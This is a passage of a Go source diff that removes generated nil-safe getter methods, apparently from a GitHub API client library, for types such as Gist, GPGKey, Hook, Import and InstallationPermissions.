GetDismissalCommitID() string { - if d == nil || d.DismissalCommitID == nil { - return "" - } - return *d.DismissalCommitID -} - -// GetDismissalMessage returns the DismissalMessage field if it's non-nil, zero value otherwise. -func (d *DismissedReview) GetDismissalMessage() string { - if d == nil || d.DismissalMessage == nil { - return "" - } - return *d.DismissalMessage -} - -// GetReviewID returns the ReviewID field if it's non-nil, zero value otherwise. -func (d *DismissedReview) GetReviewID() int64 { - if d == nil || d.ReviewID == nil { - return 0 - } - return *d.ReviewID -} - -// GetState returns the State field if it's non-nil, zero value otherwise. -func (d *DismissedReview) GetState() string { - if d == nil || d.State == nil { - return "" - } - return *d.State -} - -// GetClientPayload returns the ClientPayload field if it's non-nil, zero value otherwise. -func (d *DispatchRequestOptions) GetClientPayload() json.RawMessage { - if d == nil || d.ClientPayload == nil { - return json.RawMessage{} - } - return *d.ClientPayload -} - -// GetBody returns the Body field if it's non-nil, zero value otherwise. -func (d *DraftReviewComment) GetBody() string { - if d == nil || d.Body == nil { - return "" - } - return *d.Body -} - -// GetPath returns the Path field if it's non-nil, zero value otherwise. -func (d *DraftReviewComment) GetPath() string { - if d == nil || d.Path == nil { - return "" - } - return *d.Path -} - -// GetPosition returns the Position field if it's non-nil, zero value otherwise. -func (d *DraftReviewComment) GetPosition() int { - if d == nil || d.Position == nil { - return 0 - } - return *d.Position -} - -// GetAvatarURL returns the AvatarURL field if it's non-nil, zero value otherwise. -func (e *Enterprise) GetAvatarURL() string { - if e == nil || e.AvatarURL == nil { - return "" - } - return *e.AvatarURL -} - -// GetCreatedAt returns the CreatedAt field if it's non-nil, zero value otherwise. -func (e *Enterprise) GetCreatedAt() Timestamp { - if e == nil || e.CreatedAt == nil { - return Timestamp{} - } - return *e.CreatedAt -} - -// GetDescription returns the Description field if it's non-nil, zero value otherwise. -func (e *Enterprise) GetDescription() string { - if e == nil || e.Description == nil { - return "" - } - return *e.Description -} - -// GetHTMLURL returns the HTMLURL field if it's non-nil, zero value otherwise. -func (e *Enterprise) GetHTMLURL() string { - if e == nil || e.HTMLURL == nil { - return "" - } - return *e.HTMLURL -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (e *Enterprise) GetID() int { - if e == nil || e.ID == nil { - return 0 - } - return *e.ID -} - -// GetName returns the Name field if it's non-nil, zero value otherwise. -func (e *Enterprise) GetName() string { - if e == nil || e.Name == nil { - return "" - } - return *e.Name -} - -// GetNodeID returns the NodeID field if it's non-nil, zero value otherwise. -func (e *Enterprise) GetNodeID() string { - if e == nil || e.NodeID == nil { - return "" - } - return *e.NodeID -} - -// GetSlug returns the Slug field if it's non-nil, zero value otherwise. -func (e *Enterprise) GetSlug() string { - if e == nil || e.Slug == nil { - return "" - } - return *e.Slug -} - -// GetUpdatedAt returns the UpdatedAt field if it's non-nil, zero value otherwise. -func (e *Enterprise) GetUpdatedAt() Timestamp { - if e == nil || e.UpdatedAt == nil { - return Timestamp{} - } - return *e.UpdatedAt -} - -// GetWebsiteURL returns the WebsiteURL field if it's non-nil, zero value otherwise. -func (e *Enterprise) GetWebsiteURL() string { - if e == nil || e.WebsiteURL == nil { - return "" - } - return *e.WebsiteURL -} - -// GetActor returns the Actor field. -func (e *Event) GetActor() *User { - if e == nil { - return nil - } - return e.Actor -} - -// GetCreatedAt returns the CreatedAt field if it's non-nil, zero value otherwise. -func (e *Event) GetCreatedAt() time.Time { - if e == nil || e.CreatedAt == nil { - return time.Time{} - } - return *e.CreatedAt -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (e *Event) GetID() string { - if e == nil || e.ID == nil { - return "" - } - return *e.ID -} - -// GetOrg returns the Org field. -func (e *Event) GetOrg() *Organization { - if e == nil { - return nil - } - return e.Org -} - -// GetPublic returns the Public field if it's non-nil, zero value otherwise. -func (e *Event) GetPublic() bool { - if e == nil || e.Public == nil { - return false - } - return *e.Public -} - -// GetRawPayload returns the RawPayload field if it's non-nil, zero value otherwise. -func (e *Event) GetRawPayload() json.RawMessage { - if e == nil || e.RawPayload == nil { - return json.RawMessage{} - } - return *e.RawPayload -} - -// GetRepo returns the Repo field. -func (e *Event) GetRepo() *Repository { - if e == nil { - return nil - } - return e.Repo -} - -// GetType returns the Type field if it's non-nil, zero value otherwise. -func (e *Event) GetType() string { - if e == nil || e.Type == nil { - return "" - } - return *e.Type -} - -// GetHRef returns the HRef field if it's non-nil, zero value otherwise. -func (f *FeedLink) GetHRef() string { - if f == nil || f.HRef == nil { - return "" - } - return *f.HRef -} - -// GetType returns the Type field if it's non-nil, zero value otherwise. -func (f *FeedLink) GetType() string { - if f == nil || f.Type == nil { - return "" - } - return *f.Type -} - -// GetCurrentUserActorURL returns the CurrentUserActorURL field if it's non-nil, zero value otherwise. -func (f *Feeds) GetCurrentUserActorURL() string { - if f == nil || f.CurrentUserActorURL == nil { - return "" - } - return *f.CurrentUserActorURL -} - -// GetCurrentUserOrganizationURL returns the CurrentUserOrganizationURL field if it's non-nil, zero value otherwise. -func (f *Feeds) GetCurrentUserOrganizationURL() string { - if f == nil || f.CurrentUserOrganizationURL == nil { - return "" - } - return *f.CurrentUserOrganizationURL -} - -// GetCurrentUserPublicURL returns the CurrentUserPublicURL field if it's non-nil, zero value otherwise. -func (f *Feeds) GetCurrentUserPublicURL() string { - if f == nil || f.CurrentUserPublicURL == nil { - return "" - } - return *f.CurrentUserPublicURL -} - -// GetCurrentUserURL returns the CurrentUserURL field if it's non-nil, zero value otherwise. -func (f *Feeds) GetCurrentUserURL() string { - if f == nil || f.CurrentUserURL == nil { - return "" - } - return *f.CurrentUserURL -} - -// GetTimelineURL returns the TimelineURL field if it's non-nil, zero value otherwise. -func (f *Feeds) GetTimelineURL() string { - if f == nil || f.TimelineURL == nil { - return "" - } - return *f.TimelineURL -} - -// GetUserURL returns the UserURL field if it's non-nil, zero value otherwise. -func (f *Feeds) GetUserURL() string { - if f == nil || f.UserURL == nil { - return "" - } - return *f.UserURL -} - -// GetForkee returns the Forkee field. -func (f *ForkEvent) GetForkee() *Repository { - if f == nil { - return nil - } - return f.Forkee -} - -// GetInstallation returns the Installation field. -func (f *ForkEvent) GetInstallation() *Installation { - if f == nil { - return nil - } - return f.Installation -} - -// GetRepo returns the Repo field. -func (f *ForkEvent) GetRepo() *Repository { - if f == nil { - return nil - } - return f.Repo -} - -// GetSender returns the Sender field. -func (f *ForkEvent) GetSender() *User { - if f == nil { - return nil - } - return f.Sender -} - -// GetComments returns the Comments field if it's non-nil, zero value otherwise. -func (g *Gist) GetComments() int { - if g == nil || g.Comments == nil { - return 0 - } - return *g.Comments -} - -// GetCreatedAt returns the CreatedAt field if it's non-nil, zero value otherwise. -func (g *Gist) GetCreatedAt() time.Time { - if g == nil || g.CreatedAt == nil { - return time.Time{} - } - return *g.CreatedAt -} - -// GetDescription returns the Description field if it's non-nil, zero value otherwise. -func (g *Gist) GetDescription() string { - if g == nil || g.Description == nil { - return "" - } - return *g.Description -} - -// GetGitPullURL returns the GitPullURL field if it's non-nil, zero value otherwise. -func (g *Gist) GetGitPullURL() string { - if g == nil || g.GitPullURL == nil { - return "" - } - return *g.GitPullURL -} - -// GetGitPushURL returns the GitPushURL field if it's non-nil, zero value otherwise. -func (g *Gist) GetGitPushURL() string { - if g == nil || g.GitPushURL == nil { - return "" - } - return *g.GitPushURL -} - -// GetHTMLURL returns the HTMLURL field if it's non-nil, zero value otherwise. -func (g *Gist) GetHTMLURL() string { - if g == nil || g.HTMLURL == nil { - return "" - } - return *g.HTMLURL -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (g *Gist) GetID() string { - if g == nil || g.ID == nil { - return "" - } - return *g.ID -} - -// GetNodeID returns the NodeID field if it's non-nil, zero value otherwise. -func (g *Gist) GetNodeID() string { - if g == nil || g.NodeID == nil { - return "" - } - return *g.NodeID -} - -// GetOwner returns the Owner field. -func (g *Gist) GetOwner() *User { - if g == nil { - return nil - } - return g.Owner -} - -// GetPublic returns the Public field if it's non-nil, zero value otherwise. -func (g *Gist) GetPublic() bool { - if g == nil || g.Public == nil { - return false - } - return *g.Public -} - -// GetUpdatedAt returns the UpdatedAt field if it's non-nil, zero value otherwise. -func (g *Gist) GetUpdatedAt() time.Time { - if g == nil || g.UpdatedAt == nil { - return time.Time{} - } - return *g.UpdatedAt -} - -// GetBody returns the Body field if it's non-nil, zero value otherwise. -func (g *GistComment) GetBody() string { - if g == nil || g.Body == nil { - return "" - } - return *g.Body -} - -// GetCreatedAt returns the CreatedAt field if it's non-nil, zero value otherwise. -func (g *GistComment) GetCreatedAt() time.Time { - if g == nil || g.CreatedAt == nil { - return time.Time{} - } - return *g.CreatedAt -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (g *GistComment) GetID() int64 { - if g == nil || g.ID == nil { - return 0 - } - return *g.ID -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (g *GistComment) GetURL() string { - if g == nil || g.URL == nil { - return "" - } - return *g.URL -} - -// GetUser returns the User field. -func (g *GistComment) GetUser() *User { - if g == nil { - return nil - } - return g.User -} - -// GetChangeStatus returns the ChangeStatus field. -func (g *GistCommit) GetChangeStatus() *CommitStats { - if g == nil { - return nil - } - return g.ChangeStatus -} - -// GetCommittedAt returns the CommittedAt field if it's non-nil, zero value otherwise. -func (g *GistCommit) GetCommittedAt() Timestamp { - if g == nil || g.CommittedAt == nil { - return Timestamp{} - } - return *g.CommittedAt -} - -// GetNodeID returns the NodeID field if it's non-nil, zero value otherwise. -func (g *GistCommit) GetNodeID() string { - if g == nil || g.NodeID == nil { - return "" - } - return *g.NodeID -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (g *GistCommit) GetURL() string { - if g == nil || g.URL == nil { - return "" - } - return *g.URL -} - -// GetUser returns the User field. -func (g *GistCommit) GetUser() *User { - if g == nil { - return nil - } - return g.User -} - -// GetVersion returns the Version field if it's non-nil, zero value otherwise. -func (g *GistCommit) GetVersion() string { - if g == nil || g.Version == nil { - return "" - } - return *g.Version -} - -// GetContent returns the Content field if it's non-nil, zero value otherwise. -func (g *GistFile) GetContent() string { - if g == nil || g.Content == nil { - return "" - } - return *g.Content -} - -// GetFilename returns the Filename field if it's non-nil, zero value otherwise. -func (g *GistFile) GetFilename() string { - if g == nil || g.Filename == nil { - return "" - } - return *g.Filename -} - -// GetLanguage returns the Language field if it's non-nil, zero value otherwise. -func (g *GistFile) GetLanguage() string { - if g == nil || g.Language == nil { - return "" - } - return *g.Language -} - -// GetRawURL returns the RawURL field if it's non-nil, zero value otherwise. -func (g *GistFile) GetRawURL() string { - if g == nil || g.RawURL == nil { - return "" - } - return *g.RawURL -} - -// GetSize returns the Size field if it's non-nil, zero value otherwise. -func (g *GistFile) GetSize() int { - if g == nil || g.Size == nil { - return 0 - } - return *g.Size -} - -// GetType returns the Type field if it's non-nil, zero value otherwise. -func (g *GistFile) GetType() string { - if g == nil || g.Type == nil { - return "" - } - return *g.Type -} - -// GetCreatedAt returns the CreatedAt field if it's non-nil, zero value otherwise. -func (g *GistFork) GetCreatedAt() Timestamp { - if g == nil || g.CreatedAt == nil { - return Timestamp{} - } - return *g.CreatedAt -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (g *GistFork) GetID() string { - if g == nil || g.ID == nil { - return "" - } - return *g.ID -} - -// GetNodeID returns the NodeID field if it's non-nil, zero value otherwise. -func (g *GistFork) GetNodeID() string { - if g == nil || g.NodeID == nil { - return "" - } - return *g.NodeID -} - -// GetUpdatedAt returns the UpdatedAt field if it's non-nil, zero value otherwise. -func (g *GistFork) GetUpdatedAt() Timestamp { - if g == nil || g.UpdatedAt == nil { - return Timestamp{} - } - return *g.UpdatedAt -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (g *GistFork) GetURL() string { - if g == nil || g.URL == nil { - return "" - } - return *g.URL -} - -// GetUser returns the User field. -func (g *GistFork) GetUser() *User { - if g == nil { - return nil - } - return g.User -} - -// GetPrivateGists returns the PrivateGists field if it's non-nil, zero value otherwise. -func (g *GistStats) GetPrivateGists() int { - if g == nil || g.PrivateGists == nil { - return 0 - } - return *g.PrivateGists -} - -// GetPublicGists returns the PublicGists field if it's non-nil, zero value otherwise. -func (g *GistStats) GetPublicGists() int { - if g == nil || g.PublicGists == nil { - return 0 - } - return *g.PublicGists -} - -// GetTotalGists returns the TotalGists field if it's non-nil, zero value otherwise. -func (g *GistStats) GetTotalGists() int { - if g == nil || g.TotalGists == nil { - return 0 - } - return *g.TotalGists -} - -// GetAction returns the Action field if it's non-nil, zero value otherwise. -func (g *GitHubAppAuthorizationEvent) GetAction() string { - if g == nil || g.Action == nil { - return "" - } - return *g.Action -} - -// GetSender returns the Sender field. -func (g *GitHubAppAuthorizationEvent) GetSender() *User { - if g == nil { - return nil - } - return g.Sender -} - -// GetName returns the Name field if it's non-nil, zero value otherwise. -func (g *Gitignore) GetName() string { - if g == nil || g.Name == nil { - return "" - } - return *g.Name -} - -// GetSource returns the Source field if it's non-nil, zero value otherwise. -func (g *Gitignore) GetSource() string { - if g == nil || g.Source == nil { - return "" - } - return *g.Source -} - -// GetSHA returns the SHA field if it's non-nil, zero value otherwise. -func (g *GitObject) GetSHA() string { - if g == nil || g.SHA == nil { - return "" - } - return *g.SHA -} - -// GetType returns the Type field if it's non-nil, zero value otherwise. -func (g *GitObject) GetType() string { - if g == nil || g.Type == nil { - return "" - } - return *g.Type -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (g *GitObject) GetURL() string { - if g == nil || g.URL == nil { - return "" - } - return *g.URL -} - -// GetInstallation returns the Installation field. -func (g *GollumEvent) GetInstallation() *Installation { - if g == nil { - return nil - } - return g.Installation -} - -// GetRepo returns the Repo field. -func (g *GollumEvent) GetRepo() *Repository { - if g == nil { - return nil - } - return g.Repo -} - -// GetSender returns the Sender field. -func (g *GollumEvent) GetSender() *User { - if g == nil { - return nil - } - return g.Sender -} - -// GetEmail returns the Email field if it's non-nil, zero value otherwise. -func (g *GPGEmail) GetEmail() string { - if g == nil || g.Email == nil { - return "" - } - return *g.Email -} - -// GetVerified returns the Verified field if it's non-nil, zero value otherwise. -func (g *GPGEmail) GetVerified() bool { - if g == nil || g.Verified == nil { - return false - } - return *g.Verified -} - -// GetCanCertify returns the CanCertify field if it's non-nil, zero value otherwise. -func (g *GPGKey) GetCanCertify() bool { - if g == nil || g.CanCertify == nil { - return false - } - return *g.CanCertify -} - -// GetCanEncryptComms returns the CanEncryptComms field if it's non-nil, zero value otherwise. -func (g *GPGKey) GetCanEncryptComms() bool { - if g == nil || g.CanEncryptComms == nil { - return false - } - return *g.CanEncryptComms -} - -// GetCanEncryptStorage returns the CanEncryptStorage field if it's non-nil, zero value otherwise. -func (g *GPGKey) GetCanEncryptStorage() bool { - if g == nil || g.CanEncryptStorage == nil { - return false - } - return *g.CanEncryptStorage -} - -// GetCanSign returns the CanSign field if it's non-nil, zero value otherwise. -func (g *GPGKey) GetCanSign() bool { - if g == nil || g.CanSign == nil { - return false - } - return *g.CanSign -} - -// GetCreatedAt returns the CreatedAt field if it's non-nil, zero value otherwise. -func (g *GPGKey) GetCreatedAt() time.Time { - if g == nil || g.CreatedAt == nil { - return time.Time{} - } - return *g.CreatedAt -} - -// GetExpiresAt returns the ExpiresAt field if it's non-nil, zero value otherwise. -func (g *GPGKey) GetExpiresAt() time.Time { - if g == nil || g.ExpiresAt == nil { - return time.Time{} - } - return *g.ExpiresAt -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (g *GPGKey) GetID() int64 { - if g == nil || g.ID == nil { - return 0 - } - return *g.ID -} - -// GetKeyID returns the KeyID field if it's non-nil, zero value otherwise. -func (g *GPGKey) GetKeyID() string { - if g == nil || g.KeyID == nil { - return "" - } - return *g.KeyID -} - -// GetPrimaryKeyID returns the PrimaryKeyID field if it's non-nil, zero value otherwise. -func (g *GPGKey) GetPrimaryKeyID() int64 { - if g == nil || g.PrimaryKeyID == nil { - return 0 - } - return *g.PrimaryKeyID -} - -// GetPublicKey returns the PublicKey field if it's non-nil, zero value otherwise. -func (g *GPGKey) GetPublicKey() string { - if g == nil || g.PublicKey == nil { - return "" - } - return *g.PublicKey -} - -// GetApp returns the App field. -func (g *Grant) GetApp() *AuthorizationApp { - if g == nil { - return nil - } - return g.App -} - -// GetCreatedAt returns the CreatedAt field if it's non-nil, zero value otherwise. -func (g *Grant) GetCreatedAt() Timestamp { - if g == nil || g.CreatedAt == nil { - return Timestamp{} - } - return *g.CreatedAt -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (g *Grant) GetID() int64 { - if g == nil || g.ID == nil { - return 0 - } - return *g.ID -} - -// GetUpdatedAt returns the UpdatedAt field if it's non-nil, zero value otherwise. -func (g *Grant) GetUpdatedAt() Timestamp { - if g == nil || g.UpdatedAt == nil { - return Timestamp{} - } - return *g.UpdatedAt -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (g *Grant) GetURL() string { - if g == nil || g.URL == nil { - return "" - } - return *g.URL -} - -// GetAuthor returns the Author field. -func (h *HeadCommit) GetAuthor() *CommitAuthor { - if h == nil { - return nil - } - return h.Author -} - -// GetCommitter returns the Committer field. -func (h *HeadCommit) GetCommitter() *CommitAuthor { - if h == nil { - return nil - } - return h.Committer -} - -// GetDistinct returns the Distinct field if it's non-nil, zero value otherwise. -func (h *HeadCommit) GetDistinct() bool { - if h == nil || h.Distinct == nil { - return false - } - return *h.Distinct -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (h *HeadCommit) GetID() string { - if h == nil || h.ID == nil { - return "" - } - return *h.ID -} - -// GetMessage returns the Message field if it's non-nil, zero value otherwise. -func (h *HeadCommit) GetMessage() string { - if h == nil || h.Message == nil { - return "" - } - return *h.Message -} - -// GetSHA returns the SHA field if it's non-nil, zero value otherwise. -func (h *HeadCommit) GetSHA() string { - if h == nil || h.SHA == nil { - return "" - } - return *h.SHA -} - -// GetTimestamp returns the Timestamp field if it's non-nil, zero value otherwise. -func (h *HeadCommit) GetTimestamp() Timestamp { - if h == nil || h.Timestamp == nil { - return Timestamp{} - } - return *h.Timestamp -} - -// GetTreeID returns the TreeID field if it's non-nil, zero value otherwise. -func (h *HeadCommit) GetTreeID() string { - if h == nil || h.TreeID == nil { - return "" - } - return *h.TreeID -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (h *HeadCommit) GetURL() string { - if h == nil || h.URL == nil { - return "" - } - return *h.URL -} - -// GetActive returns the Active field if it's non-nil, zero value otherwise. -func (h *Hook) GetActive() bool { - if h == nil || h.Active == nil { - return false - } - return *h.Active -} - -// GetCreatedAt returns the CreatedAt field if it's non-nil, zero value otherwise. -func (h *Hook) GetCreatedAt() time.Time { - if h == nil || h.CreatedAt == nil { - return time.Time{} - } - return *h.CreatedAt -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (h *Hook) GetID() int64 { - if h == nil || h.ID == nil { - return 0 - } - return *h.ID -} - -// GetUpdatedAt returns the UpdatedAt field if it's non-nil, zero value otherwise. -func (h *Hook) GetUpdatedAt() time.Time { - if h == nil || h.UpdatedAt == nil { - return time.Time{} - } - return *h.UpdatedAt -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (h *Hook) GetURL() string { - if h == nil || h.URL == nil { - return "" - } - return *h.URL -} - -// GetActiveHooks returns the ActiveHooks field if it's non-nil, zero value otherwise. -func (h *HookStats) GetActiveHooks() int { - if h == nil || h.ActiveHooks == nil { - return 0 - } - return *h.ActiveHooks -} - -// GetInactiveHooks returns the InactiveHooks field if it's non-nil, zero value otherwise. -func (h *HookStats) GetInactiveHooks() int { - if h == nil || h.InactiveHooks == nil { - return 0 - } - return *h.InactiveHooks -} - -// GetTotalHooks returns the TotalHooks field if it's non-nil, zero value otherwise. -func (h *HookStats) GetTotalHooks() int { - if h == nil || h.TotalHooks == nil { - return 0 - } - return *h.TotalHooks -} - -// GetGroupDescription returns the GroupDescription field if it's non-nil, zero value otherwise. -func (i *IDPGroup) GetGroupDescription() string { - if i == nil || i.GroupDescription == nil { - return "" - } - return *i.GroupDescription -} - -// GetGroupID returns the GroupID field if it's non-nil, zero value otherwise. -func (i *IDPGroup) GetGroupID() string { - if i == nil || i.GroupID == nil { - return "" - } - return *i.GroupID -} - -// GetGroupName returns the GroupName field if it's non-nil, zero value otherwise. -func (i *IDPGroup) GetGroupName() string { - if i == nil || i.GroupName == nil { - return "" - } - return *i.GroupName -} - -// GetAuthorsCount returns the AuthorsCount field if it's non-nil, zero value otherwise. -func (i *Import) GetAuthorsCount() int { - if i == nil || i.AuthorsCount == nil { - return 0 - } - return *i.AuthorsCount -} - -// GetAuthorsURL returns the AuthorsURL field if it's non-nil, zero value otherwise. -func (i *Import) GetAuthorsURL() string { - if i == nil || i.AuthorsURL == nil { - return "" - } - return *i.AuthorsURL -} - -// GetCommitCount returns the CommitCount field if it's non-nil, zero value otherwise. -func (i *Import) GetCommitCount() int { - if i == nil || i.CommitCount == nil { - return 0 - } - return *i.CommitCount -} - -// GetFailedStep returns the FailedStep field if it's non-nil, zero value otherwise. -func (i *Import) GetFailedStep() string { - if i == nil || i.FailedStep == nil { - return "" - } - return *i.FailedStep -} - -// GetHasLargeFiles returns the HasLargeFiles field if it's non-nil, zero value otherwise. -func (i *Import) GetHasLargeFiles() bool { - if i == nil || i.HasLargeFiles == nil { - return false - } - return *i.HasLargeFiles -} - -// GetHTMLURL returns the HTMLURL field if it's non-nil, zero value otherwise. -func (i *Import) GetHTMLURL() string { - if i == nil || i.HTMLURL == nil { - return "" - } - return *i.HTMLURL -} - -// GetHumanName returns the HumanName field if it's non-nil, zero value otherwise. -func (i *Import) GetHumanName() string { - if i == nil || i.HumanName == nil { - return "" - } - return *i.HumanName -} - -// GetLargeFilesCount returns the LargeFilesCount field if it's non-nil, zero value otherwise. -func (i *Import) GetLargeFilesCount() int { - if i == nil || i.LargeFilesCount == nil { - return 0 - } - return *i.LargeFilesCount -} - -// GetLargeFilesSize returns the LargeFilesSize field if it's non-nil, zero value otherwise. -func (i *Import) GetLargeFilesSize() int { - if i == nil || i.LargeFilesSize == nil { - return 0 - } - return *i.LargeFilesSize -} - -// GetMessage returns the Message field if it's non-nil, zero value otherwise. -func (i *Import) GetMessage() string { - if i == nil || i.Message == nil { - return "" - } - return *i.Message -} - -// GetPercent returns the Percent field if it's non-nil, zero value otherwise. -func (i *Import) GetPercent() int { - if i == nil || i.Percent == nil { - return 0 - } - return *i.Percent -} - -// GetPushPercent returns the PushPercent field if it's non-nil, zero value otherwise. -func (i *Import) GetPushPercent() int { - if i == nil || i.PushPercent == nil { - return 0 - } - return *i.PushPercent -} - -// GetRepositoryURL returns the RepositoryURL field if it's non-nil, zero value otherwise. -func (i *Import) GetRepositoryURL() string { - if i == nil || i.RepositoryURL == nil { - return "" - } - return *i.RepositoryURL -} - -// GetStatus returns the Status field if it's non-nil, zero value otherwise. -func (i *Import) GetStatus() string { - if i == nil || i.Status == nil { - return "" - } - return *i.Status -} - -// GetStatusText returns the StatusText field if it's non-nil, zero value otherwise. -func (i *Import) GetStatusText() string { - if i == nil || i.StatusText == nil { - return "" - } - return *i.StatusText -} - -// GetTFVCProject returns the TFVCProject field if it's non-nil, zero value otherwise. -func (i *Import) GetTFVCProject() string { - if i == nil || i.TFVCProject == nil { - return "" - } - return *i.TFVCProject -} - -// GetURL returns the URL field if it's non-nil, zero value otherwise. -func (i *Import) GetURL() string { - if i == nil || i.URL == nil { - return "" - } - return *i.URL -} - -// GetUseLFS returns the UseLFS field if it's non-nil, zero value otherwise. -func (i *Import) GetUseLFS() string { - if i == nil || i.UseLFS == nil { - return "" - } - return *i.UseLFS -} - -// GetVCS returns the VCS field if it's non-nil, zero value otherwise. -func (i *Import) GetVCS() string { - if i == nil || i.VCS == nil { - return "" - } - return *i.VCS -} - -// GetVCSPassword returns the VCSPassword field if it's non-nil, zero value otherwise. -func (i *Import) GetVCSPassword() string { - if i == nil || i.VCSPassword == nil { - return "" - } - return *i.VCSPassword -} - -// GetVCSURL returns the VCSURL field if it's non-nil, zero value otherwise. -func (i *Import) GetVCSURL() string { - if i == nil || i.VCSURL == nil { - return "" - } - return *i.VCSURL -} - -// GetVCSUsername returns the VCSUsername field if it's non-nil, zero value otherwise. -func (i *Import) GetVCSUsername() string { - if i == nil || i.VCSUsername == nil { - return "" - } - return *i.VCSUsername -} - -// GetAccessTokensURL returns the AccessTokensURL field if it's non-nil, zero value otherwise. -func (i *Installation) GetAccessTokensURL() string { - if i == nil || i.AccessTokensURL == nil { - return "" - } - return *i.AccessTokensURL -} - -// GetAccount returns the Account field. -func (i *Installation) GetAccount() *User { - if i == nil { - return nil - } - return i.Account -} - -// GetAppID returns the AppID field if it's non-nil, zero value otherwise. -func (i *Installation) GetAppID() int64 { - if i == nil || i.AppID == nil { - return 0 - } - return *i.AppID -} - -// GetCreatedAt returns the CreatedAt field if it's non-nil, zero value otherwise. -func (i *Installation) GetCreatedAt() Timestamp { - if i == nil || i.CreatedAt == nil { - return Timestamp{} - } - return *i.CreatedAt -} - -// GetHTMLURL returns the HTMLURL field if it's non-nil, zero value otherwise. -func (i *Installation) GetHTMLURL() string { - if i == nil || i.HTMLURL == nil { - return "" - } - return *i.HTMLURL -} - -// GetID returns the ID field if it's non-nil, zero value otherwise. -func (i *Installation) GetID() int64 { - if i == nil || i.ID == nil { - return 0 - } - return *i.ID -} - -// GetPermissions returns the Permissions field. -func (i *Installation) GetPermissions() *InstallationPermissions { - if i == nil { - return nil - } - return i.Permissions -} - -// GetRepositoriesURL returns the RepositoriesURL field if it's non-nil, zero value otherwise. -func (i *Installation) GetRepositoriesURL() string { - if i == nil || i.RepositoriesURL == nil { - return "" - } - return *i.RepositoriesURL -} - -// GetRepositorySelection returns the RepositorySelection field if it's non-nil, zero value otherwise. -func (i *Installation) GetRepositorySelection() string { - if i == nil || i.RepositorySelection == nil { - return "" - } - return *i.RepositorySelection -} - -// GetSingleFileName returns the SingleFileName field if it's non-nil, zero value otherwise. -func (i *Installation) GetSingleFileName() string { - if i == nil || i.SingleFileName == nil { - return "" - } - return *i.SingleFileName -} - -// GetTargetID returns the TargetID field if it's non-nil, zero value otherwise. -func (i *Installation) GetTargetID() int64 { - if i == nil || i.TargetID == nil { - return 0 - } - return *i.TargetID -} - -// GetTargetType returns the TargetType field if it's non-nil, zero value otherwise. -func (i *Installation) GetTargetType() string { - if i == nil || i.TargetType == nil { - return "" - } - return *i.TargetType -} - -// GetUpdatedAt returns the UpdatedAt field if it's non-nil, zero value otherwise. -func (i *Installation) GetUpdatedAt() Timestamp { - if i == nil || i.UpdatedAt == nil { - return Timestamp{} - } - return *i.UpdatedAt -} - -// GetAction returns the Action field if it's non-nil, zero value otherwise. -func (i *InstallationEvent) GetAction() string { - if i == nil || i.Action == nil { - return "" - } - return *i.Action -} - -// GetInstallation returns the Installation field. -func (i *InstallationEvent) GetInstallation() *Installation { - if i == nil { - return nil - } - return i.Installation -} - -// GetSender returns the Sender field. -func (i *InstallationEvent) GetSender() *User { - if i == nil { - return nil - } - return i.Sender -} - -// GetAdministration returns the Administration field if it's non-nil, zero value otherwise. -func (i *InstallationPermissions) GetAdministration() string { - if i == nil || i.Administration == nil { - return "" - } - return *i.Administration -} - -// GetBlocking returns the Blocking field if it's non-nil, zero value otherwise. -func (i *InstallationPermissions) GetBlocking() string { - if i == nil || i.Blocking == nil { - return "" - } - return *i.Blocking -} - -// GetChecks returns the Checks field if it's non-nil, zero value otherwise. -func (i *InstallationPermissions) GetChecks() string { - if i == nil || i.Checks == nil { - return "" - } - return *i.Checks -} - -// GetContentReferences returns the ContentReferences field if it's non-nil, zero value otherwise. -func (i *InstallationPermissions) GetContentReferences() string { - if i == nil || i.ContentReferences == nil { - return "" - } - return *i.ContentReferences -} - -// GetContents returns the Contents field if it's non-nil, zero value otherwise. -func (i *InstallationPermissions) GetContents() string { - if i == nil || i.Contents == nil { - return "" - } - return *i.Contents -} - -// GetDeployments returns the Deployments field if it's non-nil, zero value otherwise. -func (i *InstallationPermissions) GetDeployments() string { - if i == nil || i.Deployments == nil { - return "" - } - return *i.Deployments -} - -// GetEmails returns the Emails field if it's non-nil, zero value otherwise. -func (i *InstallationPermissions) GetEmails() string { - if i == nil || i.Emails == nil { - return "" - } - return *i.Emails -} - -// GetFollowers returns the Followers field if it's non-nil, zero value otherwise. -func (i *InstallationPermissions) GetFollowers() string { - if i == nil || i.Followers == nil { - return "" - } - return *i.Followers -} - -// GetIssues returns the Issues field if it's non-nil, zero value otherwise. -func (i *InstallationPermissions) GetIssues() string { - if i == nil || i.Issues == nil { - return "" - } - return *i.Issues -} - -// GetMembers returns the Members field if it's non-nil, zero value otherwise. -func (i *InstallationPermissions) GetMembers() string { - if i == nil || i.Members == nil { - return "" - } - return *i.Members -} - -// GetMetadata returns the Metadata field if it's non-nil, zero value otherwise. -func (i *InstallationPermissions) GetMetadata() string { - if i == nil || i.Metadata == nil { - return "" - } - return *i.Metadata -} - -// GetOrganizationAdministration returns the OrganizationAdministration field if it's non-nil, zero value otherwise. -func (i *InstallationPermissions) GetOrganizationAdministration() string { - if i == nil || i.OrganizationAdministration == nil { - return "" - } - return *i.OrganizationAdministration -} - -// GetOrganizationHooks returns the OrganizationHooks field if it's non-nil, zero value otherwise. -func (i *InstallationPermissions) GetOrganizationHooks() string { - if i == nil || i.OrganizationHooks == nil { - return "" - } - return *i.OrganizationHooks -} - -// GetOrganizationPlan returns the OrganizationPlan field if it's non-nil, zero value otherwise. -func (i *InstallationPermissions) GetOrganizationPlan() string { - if i == nil || i.OrganizationPlan == nil { - return "" - } - return *i.OrganizationPlan -} - -// GetOrganizationPreReceiveHooks returns the 